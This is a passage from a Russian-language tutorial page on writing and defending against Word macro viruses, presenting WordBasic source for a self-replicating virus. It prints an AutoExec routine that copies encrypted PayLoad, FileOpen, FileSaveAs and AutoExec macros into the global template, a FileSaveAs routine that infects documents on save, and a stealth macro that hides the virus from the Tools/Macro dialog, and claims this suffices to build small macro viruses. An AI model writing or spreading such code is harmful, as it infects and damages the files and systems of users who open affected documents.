Читаем Создаем вирус и антивирус полностью

Sub MAIN

On Error Goto Abort

iMacroCount=CountMacros(0, 0) ’Проверка на зараженность

For i=1 To iMacroCount

If MacroName$(i, 0, 0)=”PayLoad” Then

bInstalled =–1 ’с помощью макроса PayLoad

End If

If MacroName$(i, 0, 0)=”FileSaveAs” Then

bTooMuchTrouble =–1 ’но если есть макрос

FileSaveAs,

’то заразить тяжело

End If

Next i

If Not bInstalled And Not bTooMuchTrouble Then

’Добавим макросы FileSaveAs и копии AutoExec и FileSave

’Payload используется только для проверки на зараженность

’,1 – кодирует макросы, делая их нечитаемыми в Word

iWW6IInstance=Val(GetDocumentVar$(”WW6Infector”))

sMe$=FileName$

Macro$=sMe$+”:PayLoad”

MacroCopy Macro$, ”Global:PayLoad”, 1

Macro$=sMe$+”:FileOpen” ’Будет происходить заражение

MacroCopy Macro$, ”Global:FileOpen”, 1

Macro$=sMe$+”:FileSaveAs”

MacroCopy Macro$, ”Global:FileSaveAs”, 1

Macro$=sMe$+”:AutoExec”

MacroCopy Macro$, ”Global:AutoExec”, 1

SetProfileString ”WW6I”, Str$(iWW6IInstance+1)

End If

Abort:

End Sub

Процедура SaveAs

Она копирует макро-вирус в активный документ при его сохранении через команду File/SaveAs. Эта процедура использует во многом схожую с процедурой AutoExec технологию. Код для нее:

Sub MAIN

Dim dlg As FileSaveAs

GetCurValues dlg

Dialog dlg

If (Dlg.Format=0) Or (dlg.Format=1) Then

MacroCopy ”FileSaveAs”, WindowName$+”:FileSaveAs”

’Заражает при сохранении документа

MacroCopy ”FileSave”, WindowName$+”:FileSave”

MacroCopy ”PayLoad”, WindowName$+”:PayLoad”

MacroCopy ”FileOpen”, WindowName$+”:FileOpen”

’При открытии документа

Dlg.Format=1

End If

FileDaveAs dlg

End Sub

Этой информации вполне достаточно для создания небольших макровирусов.

Специальные процедуры

Существует несколько способов скрыть вирус или сделать его более эффективным. Например, можно создать специальный макрос, прячущий вирус, если Tools/Macro открывается для просмотра. Код такого макроса может выглядеть примерно так:

Sub MAIN

On Error Goto ErrorRoutine

OldName$=NomFichier$

If macros.bDebug Then

MsgBox ”start ToolsMacro”

Dim dlg As OutilsMacro

If macros.bDebug Then MsgBox ”1”

GetCurValues dlg

If macros.bDebug Then MsgBox ”2”

On Error Goto Skip

Dialog dlg

OutilsMacro dlg

Skip:

On Error Goto ErrorRoutine ’При ошибке на выход

End If

REM enable automacros

DisableAutoMacros 0

macros.SavToGlobal(OldName$)

macros.objectiv

Goto Done ’Переход на метку

Done

ErrorRoutine:

On Error Goto Done ’Переход на метку

Done

If macros.bDebug Then

MsgBox ”error ”+Str$(Err)+” occurred” ’Сообщение об

ошибке

End If

Done:

End Sub

Макро-вирусы также могут включать внешние процедуры. Например, вирус Nuclear пытается откомпилировать и запустить внешний файл-разносчик вируса, некоторые троянские макросы пытаются форматировать винчестер при открытии документа.

Пример макро-вируса

Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.

Перейти на страницу:
Нет соединения с сервером, попробуйте зайти чуть позже